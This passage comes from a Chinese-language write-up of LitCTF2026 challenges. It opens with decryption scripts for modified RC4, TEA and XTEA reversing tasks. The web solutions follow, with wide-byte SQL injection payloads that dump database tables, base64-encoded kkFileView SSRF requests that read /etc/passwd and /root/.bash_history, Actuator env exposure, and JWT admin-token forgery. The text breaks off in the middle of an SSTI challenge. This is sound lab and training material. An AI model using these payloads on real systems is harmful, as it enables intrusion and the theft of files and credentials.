class="line">        out.append((n &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xff</span>)</span><br><span class="line">    <span class="keyword">if</span> pad &lt; <span class="number">1</span>:</span><br><span class="line">        out.append(n &amp; <span class="number">0xff</span>)</span><br><span class="line">print(out.decode())</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-rc4-variant"><a href="#LitCTF2026-lit-rc4-variant" class="headerlink" title="[LitCTF2026] lit_rc4_variant"></a>[LitCTF2026] lit_rc4_variant</h2><p>魔改RC4，s盒为64位，使用g_key（已知）初始化s盒，标准KSA， 魔改PRGA，这里多加了一次S[i]，g_cipher是密文，已知。脚本解密得到：LitCTF{rev05_rc4_variant_64!}</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">g_cipher = [</span><br><span class="line">    <span class="number">0x7B</span>, <span class="number">0x3D</span>, <span class="number">0x38</span>, <span class="number">0x77</span>, <span class="number">0x4E</span>, <span class="number">0x72</span>, <span class="number">0x42</span>, <span class="number">0x7D</span>, <span class="number">0x45</span>, <span class="number">0x37</span>,</span><br><span class="line">    <span class="number">0x76</span>, <span class="number">0x0F</span>, <span class="number">0x53</span>, <span class="number">0x53</span>, <span class="number">0x4F</span>, <span class="number">0x66</span>, <span class="number">0x37</span>, <span class="number">0x17</span>, <span class="number">0x75</span>, <span class="number">0x37</span>,</span><br><span class="line">    <span class="number">0x5F</span>, <span class="number">0x49</span>, <span class="number">0x58</span>, <span class="number">0x72</span>, <span class="number">0x74</span>, <span class="number">0x7F</span>, <span class="number">0x79</span>, <span class="number">0x1F</span>, <span class="number">0x3A</span></span><br><span class="line">]</span><br><span class="line">g_key = b<span class="string">&quot;lit_rc4_key!&quot;</span></span><br><span class="line">S = list(range(<span class="number">64</span>))</span><br><span class="line">j = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i in <span class="title function_">range</span><span class="params">(<span class="number">64</span>)</span>:</span><br><span class="line">    j = (j + S[i] + g_key[i % len(g_key)]) % <span class="number">64</span></span><br><span class="line">    S[i], S[j] = S[j], S[i]</span><br><span class="line">i = <span class="number">0</span></span><br><span class="line">j = <span class="number">0</span></span><br><span class="line">flag = bytearray()</span><br><span class="line"><span class="keyword">for</span> c in g_cipher:</span><br><span class="line">    i = (i + <span class="number">1</span>) % <span class="number">64</span></span><br><span class="line">    j = (j + S[i]) % <span class="number">64</span></span><br><span class="line">    S[i], S[j] = S[j], S[i]</span><br><span class="line">    k = (S[(S[i] + S[j]) &amp; <span class="number">0x3F</span>] + S[i]) &amp; <span class="number">0xFF</span></span><br><span class="line">    flag.append(c ^ k)</span><br><span class="line">print(flag.decode())</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-tea-standard"><a href="#LitCTF2026-lit-tea-standard" class="headerlink" title="[LitCTF2026] lit_tea_standard"></a>[LitCTF2026] lit_tea_standard</h2><p> 读入输入的 flag，对长度进行PKCS#7填充 ，将数据对齐到8字节，然后进行魔改tea加密，模数被改，更新公式也被改了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; </span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">round</span> <span class="operator">=</span> <span class="number">0</span>; round &lt; <span class="number">32</span>; round++) &#123;</span><br><span class="line">    i -= <span class="number">1640531527</span>;</span><br><span class="line">    v0 += ((i + v1) ^ ((v1 &gt;&gt; <span class="number">5</span>) - <span class="number">1341448704</span>) ^ ((v1 &lt;&lt; <span class="number">4</span>) - <span class="number">1591939156</span>));</span><br><span class="line">    v1 += ((i + v0) ^ ((v0 &gt;&gt; <span class="number">5</span>) - <span class="number">559038737</span>) ^ ((v0 &lt;&lt; <span class="number">4</span>) - <span class="number">889275714</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后与密文g_cipher比较。脚本解密得到：LitCTF{rev03_tea_standard!!}</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="type">struct</span></span><br><span class="line"><span class="variable">g_cipher</span> <span class="operator">=</span> bytes([</span><br><span class="line">    <span class="number">0xED</span>, <span class="number">0xEF</span>, <span class="number">0x21</span>, <span class="number">0xFE</span>, <span class="number">0xB7</span>, <span class="number">0x9B</span>, <span class="number">0x3C</span>, <span class="number">0xB0</span>, </span><br><span class="line">    <span class="number">0x1E</span>, <span class="number">0x93</span>, <span class="number">0x72</span>, <span class="number">0xE2</span>, <span class="number">0x02</span>, <span class="number">0x3E</span>, <span class="number">0x29</span>, <span class="number">0xBC</span>, </span><br><span class="line">    <span class="number">0x36</span>, <span class="number">0xF7</span>, <span class="number">0x0C</span>, <span class="number">0x92</span>, <span class="number">0x2E</span>, <span class="number">0x5A</span>, <span class="number">0xAE</span>, <span class="number">0x46</span>, </span><br><span class="line">    <span class="number">0x44</span>, <span class="number">0xFA</span>, <span class="number">0x45</span>, <span class="number">0x25</span>, <span class="number">0x1A</span>, <span class="number">0xE5</span>, <span class="number">0x8C</span>, <span class="number">0x87</span></span><br><span class="line">])</span><br><span class="line">MASK = <span class="number">0xFFFFFFFF</span></span><br><span class="line">def <span class="title function_">decrypt_block</span><span class="params">(v9, v10)</span>:</span><br><span class="line">    i = -<span class="number">957401312</span> &amp; <span class="type">MASK</span></span><br><span class="line">    <span class="variable">DELTA</span> <span class="operator">=</span> <span class="number">1640531527</span> &amp; MASK</span><br><span class="line">    <span class="keyword">while</span> i != <span class="number">0</span>:</span><br><span class="line">        sum1 = ((i + v9) ^ ((v9 &gt;&gt; <span class="number">5</span>) - <span class="number">559038737</span>) ^ (<span class="number">16</span> * v9 - <span class="number">889275714</span>)) &amp; <span class="type">MASK</span></span><br><span class="line">        <span class="variable">v10</span> <span class="operator">=</span> (v10 - sum1) &amp; <span class="type">MASK</span></span><br><span class="line">        <span class="variable">sum2</span> <span class="operator">=</span> ((i + v10) ^ ((v10 &gt;&gt; <span class="number">5</span>) - <span class="number">1341448704</span>) ^ (<span class="number">16</span> * v10 - <span class="number">1591939156</span>)) &amp; <span class="type">MASK</span></span><br><span class="line">        <span class="variable">v9</span> <span class="operator">=</span> (v9 - sum2) &amp; <span class="type">MASK</span></span><br><span class="line">        <span class="variable">i</span> <span class="operator">=</span> (i + DELTA) &amp; MASK</span><br><span class="line">    <span class="keyword">return</span> v9, <span class="type">v10</span></span><br><span class="line"><span class="variable">plain_bytes</span> <span class="operator">=</span> bytearray()</span><br><span class="line"><span class="keyword">for</span> chunk_idx in <span class="title function_">range</span><span class="params">(<span class="number">0</span>, <span class="number">32</span>, <span class="number">8</span>)</span>:</span><br><span class="line">    block = g_cipher[chunk_idx:chunk_idx+<span class="number">8</span>]</span><br><span class="line">    v9, v10 = struct.unpack(<span class="string">&quot;&lt;II&quot;</span>, block)</span><br><span class="line">    v9_dec, v10_dec = decrypt_block(v9, v10)</span><br><span class="line">    plain_bytes.extend(struct.pack(<span class="string">&quot;&lt;II&quot;</span>, v9_dec, v10_dec))</span><br><span class="line">pad_len = plain_bytes[-<span class="number">1</span>]</span><br><span class="line"><span class="keyword">if</span> <span class="number">0</span> &lt; pad_len &lt;= <span class="number">8</span>:</span><br><span class="line">    flag = plain_bytes[:-pad_len]</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    flag = plain_bytes</span><br><span class="line"><span class="title function_">print</span><span class="params">(<span class="string">&quot;Flag:&quot;</span>, flag.decode(<span class="string">&#x27;utf-8&#x27;</span>, errors=<span class="string">&#x27;ignore&#x27;</span>)</span>)</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-xtea-tweak"><a href="#LitCTF2026-lit-xtea-tweak" class="headerlink" title="[LitCTF2026] lit_xtea_tweak"></a>[LitCTF2026] lit_xtea_tweak</h2><p>输入 flag，做 8 字节分组 padding，要求 padding 后长度为 0x20，也就是 32 字节，每 8 字节作为两个uint32_t小端整数加密，加密结果和g_cipher作比较。加密算法是XTEA变种</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">sum = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">32</span>; i++) &#123;</span><br><span class="line">    v0 += (((v1 &lt;&lt; <span class="number">4</span>) ^ (v1 &gt;&gt; <span class="number">5</span>)) + v1) ^ (sum + key[sum &amp; <span class="number">3</span>]);</span><br><span class="line">    sum += <span class="number">0xDEADBEEF</span>;</span><br><span class="line">    v1 += (((v0 &lt;&lt; <span class="number">4</span>) ^ (v0 &gt;&gt; <span class="number">5</span>)) + v0) ^ (sum + key[(sum &gt;&gt; <span class="number">11</span>) &amp; <span class="number">3</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>把这个 XTEA 变种反过来解密g_cipher，去掉 padding，就得到 flag：LitCTF{rev04_xtea_delta_twk!}</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="type">struct</span></span><br><span class="line"><span class="variable">cipher</span> <span class="operator">=</span> bytes.fromhex(</span><br><span class="line">    <span class="string">&quot;e3ee1ee7d3a7966f&quot;</span></span><br><span class="line">    <span class="string">&quot;c6a7b9e1b94e6786&quot;</span></span><br><span class="line">    <span class="string">&quot;5f0304a6dbbbb940&quot;</span></span><br><span class="line">    <span class="string">&quot;563af79eee64d406&quot;</span></span><br><span class="line">)</span><br><span class="line">key = [</span><br><span class="line">    <span class="number">0x11111111</span>,</span><br><span class="line">    <span class="number">0x22222222</span>,</span><br><span class="line">    <span class="number">0x33333333</span>,</span><br><span class="line">    <span class="number">0x44444444</span>,</span><br><span class="line">]</span><br><span class="line">delta = <span class="number">0xDEADBEEF</span></span><br><span class="line">rounds = <span class="number">32</span></span><br><span class="line">mask = <span class="number">0xffffffff</span></span><br><span class="line">def <span class="title function_">decrypt_block</span><span class="params">(block)</span>:</span><br><span class="line">    v0, v1 = struct.unpack(<span class="string">&quot;&lt;2I&quot;</span>, block)</span><br><span class="line">    s = (delta * rounds) &amp; mask</span><br><span class="line">    <span class="keyword">for</span> _ in <span class="title function_">range</span><span class="params">(rounds)</span>:</span><br><span class="line">        v1 = (</span><br><span class="line">            v1</span><br><span class="line">            - (</span><br><span class="line">                ((((v0 &lt;&lt; <span class="number">4</span>) &amp; mask) ^ (v0 &gt;&gt; <span class="number">5</span>)) + v0)</span><br><span class="line">                ^ ((s + key[(s &gt;&gt; <span class="number">11</span>) &amp; <span class="number">3</span>]) &amp; mask)</span><br><span class="line">            )</span><br><span class="line">        ) &amp; <span class="type">mask</span></span><br><span class="line">        <span class="variable">s</span> <span class="operator">=</span> (s - delta) &amp; <span class="type">mask</span></span><br><span class="line">        <span class="variable">v0</span> <span class="operator">=</span> (</span><br><span class="line">            v0</span><br><span class="line">            - (</span><br><span class="line">                ((((v1 &lt;&lt; <span class="number">4</span>) &amp; mask) ^ (v1 &gt;&gt; <span class="number">5</span>)) + v1)</span><br><span class="line">                ^ ((s + key[s &amp; <span class="number">3</span>]) &amp; mask)</span><br><span class="line">            )</span><br><span class="line">        ) &amp; mask</span><br><span class="line">    <span class="keyword">return</span> struct.pack(<span class="string">&quot;&lt;2I&quot;</span>, v0, v1)</span><br><span class="line">plain = b<span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i in <span class="title function_">range</span><span class="params">(<span class="number">0</span>, len(cipher)</span>, <span class="number">8</span>):</span><br><span class="line">    plain += decrypt_block(cipher[i:i + <span class="number">8</span>])</span><br><span class="line">pad = plain[-<span class="number">1</span>]</span><br><span class="line">plain = plain[:-pad]</span><br><span class="line">print(plain.decode())</span><br></pre></td></tr></table></figure><h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h2 id="LitCTF2026-lit-ezsql"><a href="#LitCTF2026-lit-ezsql" class="headerlink" title="[LitCTF2026] lit_ezsql"></a>[LitCTF2026] lit_ezsql</h2><p>普通 SQL 注入如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1&#x27; or &#x27;1&#x27;=&#x27;10unionselect1,2,3,4,5</span><br></pre></td></tr></table></figure><p>没有直接成功。后来发现加 debug&#x3D;1 会回显后端执行 SQL：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779511590654-3800e289-6b0b-4d55-8ce7-2b2aef0a727c.png" alt="img"></p><p>再测试单引号：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/query?id=1&#x27;&amp;debug=1</span><br></pre></td></tr></table></figure><p>可以看到单引号被转义：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779511687765-5c632399-6319-4ceb-a33f-b983560b28d5.png" alt="img"></p><p>说明普通闭合被拦了。但数据库是 MariaDB&#x2F;MySQL，并且存在宽字节注入绕过。用：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%bf%27</span><br></pre></td></tr></table></figure><p>其中 %27 是 ‘，后端转义后变成：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%bf%5c%27</span><br></pre></td></tr></table></figure><p>在数据库字符集处理下，%bf%5c 会被当作一个宽字节字符，导致后面的 ‘ 成功逃逸，完成闭合。</p><p><strong>验证注入</strong></p><p>Payload：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/query?id=%bf%27%20or%201=1%23&amp;debug=1</span><br></pre></td></tr></table></figure><p>等价 SQL：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WHERE id=&#x27;¿\&#x27;or1=1#&#x27; LIMIT 50</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779511756499-74e515b8-ca32-4807-b89c-ab0969308e94.png" alt="img"></p><p>实际数据库解析后，or 1&#x3D;1# 生效，返回 alice 和 bob 两条数据。</p><p><strong>UNION 探测列数</strong></p><p>页面表头有 5 列：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id name col2 col3 col4</span><br></pre></td></tr></table></figure><p>测试：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/query?id=%bf%27%20union%20select%201,2,3,4,5%23&amp;debug=1</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779511823811-14e3d7c2-4628-4d1b-83c9-5834cfb9161c.png" alt="img"></p><p>说明列数为 5。</p><p><strong>枚举数据库信息</strong></p><p>Payload：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/query?id=%bf%27%20union%20select%201,database(),user(),version(),5%23&amp;debug=1</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779511888450-99783558-51d0-4126-825b-c4621965fbe2.png" alt="img"></p><p>database(): ezsql</p><p>user(): ezsql@localhost</p><p>version(): 10.5.29-MariaDB-0+deb11u1</p><p><strong>枚举表名</strong></p><p>Payload：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/query?id=%bf%27%20union%20select%201,table_name,table_schema,4,5%20from%20information_schema.tables%20where%20table_schema=database()%23&amp;debug=1</span><br></pre></td></tr></table></figure><p>得到：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">usersflag_store</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779511026942-0c3e2ce9-601d-42d3-aa8e-0d5c4ead5327.png" alt="img"></p><p><strong>举字段名</strong></p><p>Payload：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/query?id=%bf%27%20union%20select%201,column_name,table_name,4,5%20from%20information_schema.columns%20where%20table_schema=database()%23&amp;debug=1</span><br></pre></td></tr></table></figure><p>得到：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779511984726-a027fe5b-ddef-49f0-8c36-5ffc916f76e4.png" alt="img"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">users: id, name, col2, col3, col4flag_store: id, flag</span><br></pre></td></tr></table></figure><p><strong>读取 flag</strong></p><p>Payload：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/query?id=%bf%27%20union%20select%20id,flag,3,4,5%20from%20flag_store%23&amp;debug=1</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779512025561-56edaf18-f3bd-4133-b523-b84bc3e63a38.png" alt="img"></p><p>flag:</p><p> flag{rmdechs5-b6et-4qw-82na-xshmg76ekrmnp}</p><h2 id="LitCTF2026-Northbridge-Document-Hub"><a href="#LitCTF2026-Northbridge-Document-Hub" class="headerlink" title="[LitCTF2026] Northbridge Document Hub"></a>[LitCTF2026] Northbridge Document Hub</h2><p>查看源代码 访问静态的js文件</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779512264824-a7d77003-06ed-4edf-86ae-3ac5cb5d7596.png" alt="img"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779512273549-43e8807e-dca7-4b26-9fd7-0fe1abf34226.png" alt="img"></p><p>注释中给出了账密明文 ：<code>researcher:Research#2026</code></p><p>给了一个接口路径:<code>/kkfileview/getCorsFile</code></p><p> path: “&#x2F;kkfileview&#x2F;getCorsFile” - 接口路径</p><p> queryKey: “urlPath” - 参数名</p><p> node: “legacy-parse-02” - 使用 kkFileView</p><p>通过搜索 kkFileView getCorsFile SSRF vulnerability ，找到了 GitHub Issues：</p><p>kkFileView SSRF Vulnerability #392 (2022年)</p><p> kkFileview v4.1.0存在SSRF漏洞，攻击者可以利用此漏洞造成服务器端请求伪造（SSRF）</p><p>漏洞代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/getCorsFile&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">getCorsFile</span><span class="params">(String urlPath, HttpServletResponse response)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        urlPath = WebUtils.decodeBase64String(urlPath);  <span class="comment">// Base64解码</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception ex) &#123;</span><br><span class="line">        logger.error(String.format(BASE64_DECODE_ERROR_MSG, urlPath), ex);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// ❌ 没有任何过滤！</span></span><br><span class="line">    <span class="keyword">if</span> (urlPath.toLowerCase().startsWith(<span class="string">&quot;file:&quot;</span>) || </span><br><span class="line">        urlPath.toLowerCase().startsWith(<span class="string">&quot;file%3&quot;</span>)) &#123;</span><br><span class="line">        logger.info(<span class="string">&quot;异常，可能存在非法访问，urlPath：&#123;&#125;&quot;</span>, urlPath);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 直接使用用户提供的 urlPath 发起请求</span></span><br><span class="line">    <span class="type">URL</span> <span class="variable">url</span> <span class="operator">=</span> WebUtils.normalizedURL(urlPath);</span><br><span class="line">    <span class="type">byte</span>[] bytes = NetUtil.downloadBytes(url.toString());</span><br><span class="line">    IOUtils.write(bytes, response.getOutputStream());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Base64编码绕过 成功获取</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779513157989-58159c5f-f151-4e78-aafd-97ce129b44b1.png" alt="img"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779513178632-1bb95dbb-f8aa-4893-bdf8-6fc6d4354275.png" alt="img"></p><p>读取历史命令 &#x2F;root&#x2F;.bash_history</p><p>payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kkfileview/getCorsFile?urlPath=L3Jvb3QvLmJhc2hfaGlzdG9yeQ==</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779513416651-f1211737-b128-48c8-9526-664a8efad295.png" alt="img"></p><p>存在 &#x2F;opt&#x2F;kkfileview&#x2F;cache&#x2F;parsed&#x2F;q1_finance_report_2026.zip</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779513396957-ae3170fd-adc7-437b-9bb1-4cfa66846f82.png" alt="img"></p><p>payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kkfileview/getCorsFile?urlPath=ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA=</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779513297554-43e75049-30e9-4795-86bb-697057fc73e8.png" alt="img"></p><p>解压得到打开文本文档flag</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779513284740-b266aeb7-c3c2-4c39-baca-29a9166e0152.png" alt="img"></p><h2 id="LitCTF2026-华辰企业服务运营平台"><a href="#LitCTF2026-华辰企业服务运营平台" class="headerlink" title="[LitCTF2026] 华辰企业服务运营平台"></a>[LitCTF2026] 华辰企业服务运营平台</h2><p>查看 &#x2F;login 页面发现默认用户名 user ，密码由系统管理员下发</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779514537727-d362c3e8-a690-4a35-ba97-32f9540e4f8d.png" alt="img"></p><p>查看源代码 访问js&#x2F;index.js静态文件</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779514580102-8999d5d1-5b16-4ce1-bb79-4cfd30a30c52.png" alt="img"></p><ul><li>&#x2F;api&#x2F;public&#x2F;banner - 平台横幅信息</li><li>&#x2F;api&#x2F;public&#x2F;news - 公告列表</li></ul><p>dirsearch爆破出来</p><ul><li>&#x2F;api&#x2F;auth&#x2F;login - 登录接口</li><li>&#x2F;api&#x2F;auth&#x2F;me - 当前用户信息</li><li>&#x2F;actuator</li></ul><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779514701049-1774e5c9-1821-4db8-b778-df7f654e7c8b.png" alt="img"></p><p>响应展示了所有可用Actuator端点：</p><p>- &#x2F;actuator&#x2F;beans - Bean清单</p><p>- &#x2F;actuator&#x2F;env - 环境变量</p><p>- &#x2F;actuator&#x2F;configprops - 配置属性</p><p>- &#x2F;actuator&#x2F;mappings - 路由映射</p><p>- &#x2F;actuator&#x2F;heapdump - 堆转储</p><p>- &#x2F;actuator&#x2F;threaddump - 线程转储</p><p>访问环境变量  &#x2F;actuator&#x2F;env 得到flag</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779514760076-59fa3431-7f64-45d5-9621-1b2d27e6032f.png" alt="img"></p><p>flag：</p><p>flag{kpw4boze-kpyc-4ar-84gq-ttq8vu5mms3di}</p><h2 id="LitCTF2026-lit-reverse-my-web"><a href="#LitCTF2026-lit-reverse-my-web" class="headerlink" title="[LitCTF2026] lit_reverse_my_web"></a>[LitCTF2026] lit_reverse_my_web</h2><p>分析附件，发现这是一个Go语言编写的Web服务器（server.exe）</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779519968317-faed41c5-719a-4713-b681-ed06fa3331b0.png" alt="img"></p><p>访问环境，远程服务是一个企业运营中心，有登录、注册功能</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779519983713-d5ca45df-3d3a-4992-bb4e-0a1e54c7db45.png" alt="img"></p><p>登录后发现需要更高权限才能访问 &#x2F;flag 页面</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779520018796-576aec7a-bcd7-4bfb-ac4a-a8072604b968.png" alt="img"></p><p>登录后获取到JWT token</p><p>解码JWT发现 payload 中有 “role”: “user”，需要将role改为”admin”才能访问flag</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779520106844-156e5a64-1882-4418-a608-2baca70b8c26.png" alt="img"></p><p>分析二进制文件，寻找jwt key</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779522152146-e93553bd-241c-4112-ba24-856b51e2e015.png" alt="img"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779522183570-fc884698-8539-4d67-9c6a-7febaf182d60.png" alt="img"></p><p>密钥被 XOR 0x5a 加密，解密还原出JWT密钥</p><p>rMw_2026_litctf_jwt_secret_key!!</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779522210918-34c34245-eb4c-4df3-8986-01e456bbbab9.png" alt="img"></p><p>使用找到的密钥伪造admin权限的JWT token</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779522581564-7fb3a1f3-777d-4e95-9dfe-7a4621b09981.png" alt="img"></p><p>使用伪造的token访问 &#x2F;flag 页面</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779522574168-2ba3b4ba-b7ae-4376-bd75-d4009716a6b6.png" alt="img"></p><p>flag</p><p>flag{qfyvj1kp-z2sc-4ju-8sai-wsa1cd8ly3qrs}</p><h2 id="LitCTF2026-lit-ezssti"><a href="#LitCTF2026-lit-ezssti" class="headerlink" title="[LitCTF2026] lit_ezssti"></a>[LitCTF2026] lit_ezssti</h2><p>题目名叫 lit_ezssti，描述是“缺什么补什么（x”，页面给了一个模板输入框，POST 参数是 tpl。第一反应是 SSTI，但直接打常见 Jinja2 payload 不生效：</p><p>payload：<code>&#123;&#123;7*7&#125;&#125;</code></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779520826304-1ff3f7dc-dd0b-4c30-8094-9218bd5ab3c3.png" alt="img"></p><p>继续测试危险字符：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span 